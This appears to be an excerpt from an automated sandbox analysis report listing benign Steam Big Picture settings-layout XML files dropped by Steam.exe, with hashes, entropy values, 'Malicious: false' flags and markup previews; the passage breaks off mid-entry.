SHA-256:	7A2A4E1DBAF0BFA96CC1A7827E234E34CAE8D6EE3214168F88D4A4EB9A261F17
SHA-512:	66047E6583E98B8548A6D0A4550194FC47F3F845C6DEB925EED112DE061D0BA0048C015AC9B356F4EB8124C9890159D699DB83B547A43A24B2233FA8FA456594
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_ControllerConfigs class="SettingsSection" defaultfocus="ConfigDesktop">.. <Panel class="SettingsBottomPanel">.... main panel -->.... <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">........<Panel id="VertContainer" class="VertContainer">........<Label text="#SettingsControllerCfg_Intro" />...........<Panel class="SettingsContent">........<Button id="ConfigDesktop" class="Button" selectionpos="auto" onactivate="OpenConfig( 413080 );">.........<Label class="LongDesc" text="#SettingsControllerCfg_ConfigDesktop" />........</Button>.......</Panel>.......<Label class="PaddedLabel" text="#SettingsControllerCfg_DesktopNote" />..............<Panel class="SettingsContent">.........<Button id="ConfigBigPicture" class="Button" selectionpos="auto" onactivate="OpenConfig( 413090 );">.........<Label

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_diskmgmt.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	4.895835874979066
Encrypted:	false
SSDEEP:
MD5:	0B2542836DA67D6EBD3BB5CE00989D42
SHA1:	FA9954054407F01A2F3C82E1EACE6F5FC967F0D6
SHA-256:	43AC0ED6FF7B5A7755900B6023D735C11F17103C566EFD1FC6F066A514019418
SHA-512:	AFEB0EC678BC372CFABB9AA9CF1C1E61EF8D3806DC7AC9803649284B03A43F27D60F75A628CC0882E452AA173AD9E45B1D908DAC49E5ABA6F5136A8A1D3A5813
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_DiskManagement class="SettingsSection">.. <Panel class="SettingsBottomPanel">.... main panel -->.... <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">......<Panel id="SettingsDiskSpaceManagement_IntroBlock" class="HorzContainer">.......<Label class="SettingsCallout" text="#Settings_DiskManagement_Intro" />......</Panel>............<Panel id="SettingsDiskManagement_FoldersBlock" >.......<Label text="#Settings_DiskManagement_Folder" />.......<DropDown id="SettingsDiskManagementFolders" />........<Label id="SettingsDiskManagement_IsDefaultFolder" text="#SettingsDiskManagement_IsDefaultFolder" />.......</Panel>............<Panel class="HorzContainer">.......<Panel id="SettingsDiskManagementTable">........<Panel class="SettingsDiskSpaceManagementHeader">.........<Label id="AppNameHeader" cl

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_diskmgmt_app.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.902885431191167
Encrypted:	false
SSDEEP:
MD5:	E748F01EE310F95AAAF512FC250A9526
SHA1:	F42A196EA802BDCFB60EC970B1D7919210DFA2DF
SHA-256:	1FF2585CD410A367ED6127714CB60726171C45851C3DAE62890E4B09B8A29616
SHA-512:	3392D38609E5F37EF0CFE607081F4A76485AC05F3420E3F5227716438FE203DE71BE2BE1A80C6DEF4B22FC5555849CD603AD9F9A6DD3575738679E88B123F64D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanelDiskManagementAppListing>....<Button>.....<Label id="AppName" class="SettingsDiskManagementApp" text="#Settings_DiskManagement_AppName" />.....<Label id="AppSize" class="SettingsDiskManagementSize" />....</Button>...</SettingsPanelDiskManagementAppListing>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_display.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2273
Entropy (8bit):	4.935118790666939
Encrypted:	false
SSDEEP:
MD5:	D2F7A1A62A13812457A275656BC18CFB
SHA1:	33F263450BC64B4B86C6CD43467DE0E889F3CD07
SHA-256:	A5B2595D43D9C6740F8CEF3F6A69B387D2EB661A517EF617EF5C25EC7FB523CA
SHA-512:	769E01E20EBB6E0157DE1863EB58CBCD14B62A3C87DD9E4E5FE27DD863701FD0FB2BBE7A773A85724806E4B429D3E0DCC11136A1187B8C854086F650588F20B3
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.... <SettingsPanel_Display class="SettingsSection" >.. <Panel class="SettingsBottomPanel" tabindex="auto" selectionpos="auto">.... main panel -->.... <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">..... <Panel id="ResolutionArea" class="FlowDown">...... <Label class="SettingsCallout" text="#SettingsDisplay_Intro" />...... <Panel id="CurrentResWrapper">....... <Panel id="GPUInfoWrapper">........ <Label class="SettingsCallout ResLabel" id="GPUInfo" text="#SettingsDisplay_DisplayDevice" />........ <Label class="ResBody" id="GPUInfoValue" text="#SettingsDisplay_DisplayDeviceValue" />....... </Panel>....... <Panel id="WindowSizeWrapper">........ <Label class="SettingsCallout ResLabel" id="WindowSize" text="#SettingsDisplay_WindowSize" />........ <Label class="ResBody" id="WindowSizeValue" text=

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_downloads.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.936878540007728
Encrypted:	false
SSDEEP:
MD5:	369D69223A711916699BC971111DFD7C
SHA1:	A49170C55DFA16B07CF03B59015E6F56350DD853
SHA-256:	03C437DB08B77F5579116C6C674EA7F269D6BA714089C8CFD407D855A51055EC
SHA-512:	1FDEE5E3D0873BFBD1F5633F126078AF7FE9605C5168D5232DF0A9D7E58D2C5455C01694A575D2C634F7A5D031A22358146A97DAF860ED72DD2D88B04ED89F5A
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Downloads class="SettingsSection" defaultfocus="SettingsDownloads_Libraries">....<Panel class="SettingsBottomPanel">.. .. <Panel class="SettingsContent SettingsLeftContent" tabindex="auto" selectionpos="auto">......<Label class="SettingsLabel" text="#SettingsDownloads_RegionLabel" />......<DropDown id="SettingsDownloads_Region" class="Filter" />.........<Panel class="Spacer" />.. ......<Label class="SettingsLabel" text="#SettingsDownloads_Throttling" />......<DropDown id="SettingsDownloads_ThrottleRates" class="Filter" />.......<Panel class="Spacer" />..............<Label class="SettingsLabel" text="#SettingsDownloads_ScheduleLabel" />......<ToggleButton class="CheckBox" id="SettingsDownloads_ToggleTimeLimits" text="#SettingsDownloads_TimeLimits" onactivate="ToggleTimeLimits()"/>......<Panel clas

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_family_sharing_borrower.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	585
Entropy (8bit):	4.999761402228069
Encrypted:	false
SSDEEP:
MD5:	FD14334605C96FA4B68E191EC1D5CEAF
SHA1:	D0289376AC8AEBCAFC16647D206FA778035832EF
SHA-256:	5E913C11A68BAFA803B36E3410A51E39E869414EE27451630CFDE5A4D5B374E9
SHA-512:	DAC92F97D2538F346F2257BDF5D8057EBA1DA9F7B0A4931DC0B2420DFA6B388F6674571AB02F80A1D89C81E9B0959D324746AC959B6A5B487E16E1E4765A13BD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Family_Sharing_Borrower class="SettingsPanel_Family_Sharing_Borrower" defaultfocus="BorrowerToggle" focusonhover="True" >.....<Label id="NumberLabel" text="" class="SettingsPanel_Family_Sharing_List_ColumnItem" />.....<ToggleButton id="BorrowerToggle" tabindex="auto" selectionpos="auto" class="CheckBox" onactivate="ToggleBorrowerChanged();" text="" />.......</SettingsPanel_Family_Sharing_Borrower>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_friends.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	4.958234322409202
Encrypted:	false
SSDEEP:
MD5:	9AAE18035DC03927C9A02D72273105F5
SHA1:	964E79704CB3BAF6E496431C6593C7963A556660
SHA-256:	276786847E58848301FC4C2B9879E9345D47CC0464D7D99DB8B624E298ACAFA6
SHA-512:	C45573A85F27C42711C379BCBBE7EBAEE03DCE48E7386C03DE1020ADFE474403515AEC28930D16EAEEB28EF0CA39EF3F9D0EC55F94F71C266E81AF6B42484921
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Friends class="SettingsSection" defaultfocus="SettingsFriends_PersonaName">....<Panel class="SettingsBottomPanel">..... main panel -->.....<Panel class="SettingsContent FlowRight" tabindex="auto" selectionpos="auto">......<Panel class="SettingsContentColumnv2">.......<Label class="SettingsStatic" text="#SettingsFriends_Avatar" />.......<Panel id="SettingsFriends_AvatarContainer" selectionpos="auto">........<AvatarImage id="SettingsFriends_AvatarImage"/>........<TextEntry.........id="SettingsFriends_PersonaName".........class="AvatarCaption".........textinputid="PersonaName".........textinputdoneactionstring="#SettingsFriends_SetPersonaName".........textinputclass="HalfWidth DockRight AppearFromBottomCenter"....... />.......</Panel>.........<Button class="Button" onactivate="OpenMyProfile()" selectionpos="auto"

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_gamecontroller.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11458
Entropy (8bit):	4.930665206116743
Encrypted:	false
SSDEEP:
MD5:	1CD2D8D84C5DAC6317953CF8227D9C25
SHA1:	170895E26510F42591DE8E50EC0151ED34376919
SHA-256:	3A713E6FB3F404A660720863A17798BE26BC3BA8DBDFBB8B0F49BB334C7EC382
SHA-512:	E0BB23F91B67E5AB38F18732C606692AE29AE59F781C9B782FC00AF11998DB9E19CE4CEFA25EACDE463F10E77BDAC85BB3A108A29B8C876083EADD89DC91BA5D
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_GameController class="SettingsSection" defaultfocus="SettingsController_GuideButton" >....<Panel class="SettingsBottomPanel" >.....<Panel id="GameControllerContent" class="SettingsContent SettingsLeftContent SettingsController" tabindex="auto" selectionpos="auto" defaultfocus="SettingsController_GuideButton" rememberchildfocus="true" >......<ToggleButton class="CheckBox" id="SettingsController_GuideButton" text="#SettingsController_CheckGuideButton" selectionpos="auto" onactivate="ControllerSetting_CheckGuideButton()" onfocus="OnNonControllerButtonFocused(0);" />..........<ToggleButton class="CheckBox" id="SettingsController_TurnOffOnQuit" text="#SettingsController_TurnOffOnQuit" selectionpos="auto" onactivate="ControllerSetting_TurnOff()" onfocus="OnNonControllerButtonFocused(1);" />......<ToggleButton class="CheckB

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_gamecontroller_bindings.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3393
Entropy (8bit):	4.859764396343673
Encrypted:	false
SSDEEP:
MD5:	F9F7C6B47EDE7A122970B289C66381F5
SHA1:	0266934AF97BA032E358708A400F208FFA6B6230
SHA-256:	6C6225B866290FAD828A3D6638FD224ED24101716E8DA3B446493F4899EBACE3
SHA-512:	D9F7F84CA36BEABCEEBCE0D2985A45FA3D658C8C3A509E6A4574CA4FBC4F6CC98730E7E7CE87ABE032545EEF93AC6DB8127C5154F34105E83EA9B8C92B310A87
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_GameController_Binding class="SettingsSection" defaultfocus="FirstBindRow" >....... main panel -->....<Panel class="SettingsControllerContent" tabindex="auto" selectionpos="auto">.....<Panel id="SettingsControllerLeft" class="FlowDown SettingsRight">.......<Label class="SettingsCallout" text="#SettingsController_DifferentLook" />.......<Panel>........<Panel class="SettingsGameControllerImage" />........<Panel class="SettingsGameControllerButtonHighlight" />.......</Panel>.......<Label class="SettingsCallout" text="#SettingsController_PressButton" />.....</Panel>.....<Panel class="SettingsController_Highlight" />.....<Panel id="SettingsControllerRight" class="FlowDown SettingsRight">......<Panel id="SettingsContollerHeaderRow" >.......<Label class="SettingsCallout SettingsControllerCommand" text="#SettingsContr

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_gamecontroller_bindrow.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	600
Entropy (8bit):	4.820605036753627
Encrypted:	false
SSDEEP:
MD5:	CF78E8F485CA4B43F6268C5B0477A004
SHA1:	721E974CFC1810A45963BC8ABCD7EEE5DC07D67B
SHA-256:	4508805F54AC15492A871509D9D6EC75C16B703C95937AD1CEDC5699FC035BFC
SHA-512:	9881DA9C0756B648B8D987FDE5A22311EA62DA8B0BD9F5005FA74808B61B7E9CAA626AFD7FDE84DE605B4D2101F1E07BF839E84B24DBD0EBF2E15BD985085CDD
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_GameController_BindRow class="SettingsGameControllerBindRow" >....<Panel class="SettingsGameController_BindRow">.....<Label id="ActionLabel" class="SettingsCallout SettingsControllerCommand" text="#SettingsController_ControllerAction" />.....<Label id="ButtonLabel" class="SettingsCallout SettingsControllerButton" text="#SettingsController_ButtonNone" />..........</Panel>...</SettingsPanel_GameController_BindRow>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_gamecontroller_namedialog.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	4.944198684085795
Encrypted:	false
SSDEEP:
MD5:	8024EC6DF2525B9253AF4AF99B070635
SHA1:	003A6FE5DA7456A03F9D4A146BCDCA7AFDE643E5
SHA-256:	BA2FDED90C442ACB6253DDD3F11FF0EAA8B462CD2524AFF85AB445F6B863E785
SHA-512:	4001BA80F8AE656326F475776222144432189F5CC49481E2ACE651DAAEFB77DAD2D60D6F134F20000DDCC9EBA8E77A6FE3C9C2D824D8FEBA389F41B9CB11AB4C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/msgbox.css" />...</styles>.....<SettingsPanelGameController_NameAndCommitBinding defaultfocus="SettingsController_ControllerName" tabindex="auto" selectionpos="auto">....<Panel class="ControllerNameBodyRegion">.....<Panel class="ControllerNameHeader">......<Label class="MsgBoxTitle" text="#SettingsController_ShareTitle" />.....</Panel>.....<Panel class="ControllerNameButtonArea">......<Label class="MsgBoxContents" text="#SettingsController_Share" />......<TextEntry...... id="SettingsController_ControllerName"...... class="ControllerNameEntry"...... textinputid="ControllerName"...... textinputdoneactionstring="#UI_Yes"...... textinputclass="HalfWidth DockRight AppearFromBottomCenter"...... />........... <Label class="MsgBoxContents" text="#SettingsController_ShareExample" />.. <Label

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_ingame.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3765
Entropy (8bit):	4.950704544604536
Encrypted:	false
SSDEEP:
MD5:	84F9200EBBD1002DC7D4DAF96A16F625
SHA1:	35839818B694046B3C8C18C1D6E89D789FBF9C94
SHA-256:	24AC3A55BCD22CFDB4870C9E031A6D2055D03EC5A7F9718BEADB5F5BDC0920C6
SHA-512:	11706D92F192AD8DD5E7AA74016416778AD2BEF782550D16A2986DB5D15180E72DA7AD37F6B1864E2B4E53C56BB0C39E27BFC04410B2DF8C3216FFBF9915D2E7
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />....<include src="file://{resources}/styles/mainmenu.css" />...</styles>.....<SettingsPanel_InGame class="SettingsSection" >....<Panel class="SettingsBottomPanel FlowDown">..... main panel -->.....<Panel class="SettingsSubhead" tabindex="auto" selectionpos="auto">......<Label class="SettingsCallout" text="#SettingsInGame_Intro" />......<ToggleButton id="SettingsInGame_Enable" class="CheckBox" text="#SettingsInGame_Enable" tabindex="0" selectionpos="0,0" onactivate="InGameSettingsControlSelected()"/>.....</Panel>.....<Panel id="HR3" class="HR" />..... used for enable/disable CSS -->.....<Panel id="SettingsInGame_SubControls" tabindex="auto" selectionpos="auto">......<Panel class="SettingsContent SettingsLeftContent" tabindex="auto" selectionpos="auto">.. keyboard/mouse binds -->.. <Panel class="OnlyMouseKB FlowDown">..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_interface.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	4.942958121396953
Encrypted:	false
SSDEEP:
MD5:	6E83EE8A23CDCF5D91DF08215600E9C0
SHA1:	B40C31AC57C35BAE1BF933A60223E39E69EC3969
SHA-256:	60D7C351F08369EFEF0BB2F809C47CCEC5C68C2BF2BE340FC019B5D6FE9219C7
SHA-512:	408B2B034141BB0300B65FCF7AB1061B92877A243E5482FBED2ADC18197E683865FD80A0F8440598979A6FF81D7CE4FEF084A1DDD349F61FEDC7C3FA52965FA6
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_Interface class="SettingsSection" defaultfocus="Continents" tabindex="auto" selectionpos="auto">....<Panel class="SettingsBottomPanel FlowRight" tabindex="auto" selectionpos="auto">........<Panel class="VertContainer">.......<ToggleButton class="CheckBox SteamOSButton" id="SettingsSteamOS_EnableDesktop" text="#SettingsSteamOS_EnableDesktop" onactivate="ToggleInterfaceSetting()"/>.......<ToggleButton class="CheckBox NonSteamOSButton" id="SettingsAccount_BPM" text="#SettingsAccount_StartBPM" onactivate="ToggleInterfaceSetting()" />.......<ToggleButton class="CheckBox NonSteamOSButton" id="SettingsAccount_Windowed" text="#SettingsAccount_StartWindowed" onactivate="ToggleInterfaceSetting()" />............<ToggleButton class="CheckBox" id="Settings_OfflineModeShortcutsEnable" text="#SettingsInterface_OfflineModeShor

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_keyboard.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2233
Entropy (8bit):	5.021270512474477
Encrypted:	false
SSDEEP:
MD5:	A5EF339936D5B8E1F14EC7E946F29239
SHA1:	8E955A62A2618B288BACC8B3F09869E9E05BCCD2
SHA-256:	4CC72539F6CE0E5503AEB07395EF1378F9A1CF2D4D514087E6B427E292C54494
SHA-512:	181099BED8C79F1BE50D403908B8DF68C9D25C693FF131726518BC9F043235CF8DBB5024579A4A27B9A597125BD3960B045F591467A245F8909E92DDF743E623
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>...<SettingsPanel_Keyboard class="SettingsSection" defaultfocus="Continents">...<Panel class="SettingsBottomPanel">.... main panel -->....<Panel class="SettingsContent FlowDown" tabindex="auto" selectionpos="auto">.....<Label disabled="true" class="PaddedLabel" text="#SettingsKeyboard_Description1" />.....<Panel disabled="true" id="RadioButtonContainer" class="HorzContainer" >......<Panel class="InputContainerDown GapDown">.......<RadioButton group="OPT" class="Button RadioButton" id="RadioUseDualTouch" text="#SettingsKeyboard_UseDualTouch" selectionpos="auto" />......</Panel>......<Panel class="InputContainerDown GapDown">.......<RadioButton group="OPT" class="Button RadioButton" id="RadioUseDaisywheel" text="#SettingsKeyboard_UseDaisyWheel" selectionpos="auto" />......</Panel>.....</Panel>.......<Label class="PaddedLabel" text="#S

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_language.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	730
Entropy (8bit):	4.805172954742657
Encrypted:	false
SSDEEP:
MD5:	7478B722BA217B86DA01DCA29A0A41E2
SHA1:	E07645AFF5807A1B2023BF0CB79BC0EB12E591AC
SHA-256:	5B135E4FF81957958B85915F711960785456A47BEC5E20E7BA7D294CF14A0865
SHA-512:	CB2BDB4546559EF9D10E98806CB6941AA54659F6A58073D84EBA2CFF5F74BBCFEAFEB873175F5CA548B3CC7A48E2E2422A512F228676F10F378BA54BC16810C8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />.......</styles>.....<SettingsPanel_Language class="SettingsSection">.. <Panel class="SettingsBottomPanel">.... main panel -->.... <Panel class="SettingsContent" tabindex="auto" selectionpos="auto">........<Panel class="HorzContainer">.......<Label class="SettingsCallout" text="#SettingsLanguage_Intro" />......</Panel>........<Panel class="HorzContainer">.......<Panel id="LanguageList" class="VertContainer" childfocusonhover="false">........ label instances added here -->.......</Panel>......</Panel>...... </Panel>.. </Panel>...</SettingsPanel_Language>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_manage_devices.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	4.940304843194001
Encrypted:	false
SSDEEP:
MD5:	850A21FC1B9DCEAF554B201186617F0E
SHA1:	4F93AA3158E626DC3156913447F12FF1A30267EB
SHA-256:	52BF5390207CAF5C4BADD62E20BF0127F3A4F7566A9B0AD757BD10B7C4CA6146
SHA-512:	0A2E93D66C4CBD77BEA2F77E0B288F4793C7404DDE835B32852A5F1ED839AB7D50CE11AB8ADB9C990910F173D3181E71D0BADD69080D7438EF4DB1CCBA50D9FE
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_About class="SettingsSection" defaultfocus="AuthorizeLocalDeviceButton" tabindex="auto" selectionpos="auto" >.. <Panel class="SettingsBottomPanel">.... main panel -->.... <Panel class="SettingsContent FlowDown" tabindex="auto" selectionpos="0,0">..... <Label class="Settings" text="#Settings_ManageDeviceAuth_Text"/>............<Panel class="SettingsManageDevices_Header" >.......<Label text="#Settings_ManageDevices_Item" class="SettingsManageDevices_ColumnItem" />.......<Label text="#Settings_ManageDevices_Name" class="SettingsManageDevices_ColumnName" />.......<Label text="#Settings_ManageDevices_Time" class="SettingsManageDevices_ColumnTime" />.......<Label text="#Settings_ManageDevices_User" class="SettingsManageDevices_ColumnUser" />......</Panel>............<Panel id="SettingsManageDevices_List" class="

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_manage_devices_list_entry.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	749
Entropy (8bit):	4.905793171298285
Encrypted:	false
SSDEEP:
MD5:	06BFB346C187EE58513A8A6AF4C6A3C6
SHA1:	BFEDBF1277796415E4E4ABDF3DCA803244DF98A0
SHA-256:	D59582A630D7592FE53485695B773889448112898A26AD8E8FEC61442E47448C
SHA-512:	E7B23D40D039B087A59B9FDAD091209B73F1B7E352D6FCF984421BCAC354D32F8500F044005D1D9E2F5DF6ADD43CDAD22A7EC93520F9237EBBD307577B3AD21C
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_ManageDevices_ListEntry class="SettingsController_BindRow" >.....<Label id="NumberLabel" text="1" class="SettingsManageDevices_ColumnItemContent" />.....<Label id="DeviceNameLabel" text="#Settings_ManageDevices_Device_Entry" class="SettingsManageDevices_ColumnNameContent" />.....<Label id="LastTimeLabel" text="#Settings_ManageDevices_Time_Entry" class="SettingsManageDevices_ColumnTimeContent" />.....<Label id="LastUserLabel" text="#Settings_ManageDevices_User_Entry" class="SettingsManageDevices_ColumnUserContent" />...</SettingsPanel_ManageDevices_ListEntry>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_network.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	4.919320520517212
Encrypted:	false
SSDEEP:
MD5:	9921E001ABA909F5A097E96BD5BBC01B
SHA1:	672BEFD1A4CD5CD2B563DA906449CF2B93B37354
SHA-256:	030EA793A06A945468893DB4F852C86172849EBD665F1FC2B1CD07CA195C5BE2
SHA-512:	A9A3CE4FEACB9969AEB27150B7C39FA91F17C55E3F03B8C4BCBFDB62D04DA4F0C0E15178056DFA4DFC343F996FDAB0F2C384D1129AD5C6CA824111293B7E9CE2
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Network class="SettingsSection">.... main panel -->....<Panel class="SettingsBottomPanel FlowDown" tabindex="auto" selectionpos="auto">.....<Panel class="SettingsContent" tabindex="auto" selectionpos="auto">......<Panel id="WizardButtonsNetwork" tabindex="auto" selectionpos="auto">.......<Button class="Button" onactivate="NetworkWizardStart()">........<Label class="LongDesc" text="#SettingsNetwork_ReconfigureNetwork" />.......</Button>......</Panel>.....</Panel>.......<Panel id="SettingsNetwork_Unavailable" class="SettingsContent SettingsLeftContent">......<Panel class="SettingsSubhead" tabindex="auto" selectionpos="auto">.......<Label class="SettingsCallout" text="#SettingsNetwork_Unavailable" />......</Panel>.....</Panel>.......<Panel id="SettingsNetwork_Available" class="SettingsContent SettingsLeftContent">..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_notification_generic.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	405
Entropy (8bit):	4.848265568690085
Encrypted:	false
SSDEEP:
MD5:	0C307600E4649259958D3D4660F0DB69
SHA1:	573AD600197A1DCD4F82C7734D7E1EAA1C26D668
SHA-256:	8102DE4BC5ADF8FAC9217310976ECE5BD0C41957FAD3526303C29E25DC7018F7
SHA-512:	4E5AA9D0C400EBA58679DC58259F0D7B42ADA758784FBA008FDB7E0CCD13DD4C4EAFCA59879B2652A7D46F10443D905605EFC029B7012BBDF5970B3E4D3270D8
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/notifications.css" />...</styles>.....<Panel class="NotificationRoot">....<Panel class="NotificationFrame" />.. <Image src="file://{images}/overlay/notification_steamcog.png" class="SteamCog"/>....<Label id="MessageText" class="NotificationOneLabelBody" />...</Panel>..</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_parental.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	311
Entropy (8bit):	4.711671649454035
Encrypted:	false
SSDEEP:
MD5:	61AE5CD5B6DA0B504BB4A3529F31D5ED
SHA1:	4CF263522151790C7DC044FBDDC5D3F1035587A3
SHA-256:	9D2C4EDA4AD422AE17FAE1A9264066F351ED0B206D5DFCA3FEDD13B272EAC0B6
SHA-512:	2E652500A3D43DFD08E623574A73F0AE5DE7841E36530BE49F9E2FC555FE86B8D4BD4405881B1816EF2CACC8591A034A859462F5BBF863530D1F77BA6CD480DB
Malicious:	false
Reputation:	unknown
Preview:	<root>...<styles>....<include src="file://{resources}/styles/steamstyles.css" />....<include src="file://{resources}/styles/settings.css" />...</styles>.....<SettingsPanel_Parental class="SettingsSection" defaultfocus="Wizard">.....<ParentalSettingsWizard id="Wizard" />...</SettingsPanel_Parental>....</root>..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\layout\settings\settings_remoteclients.xml_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
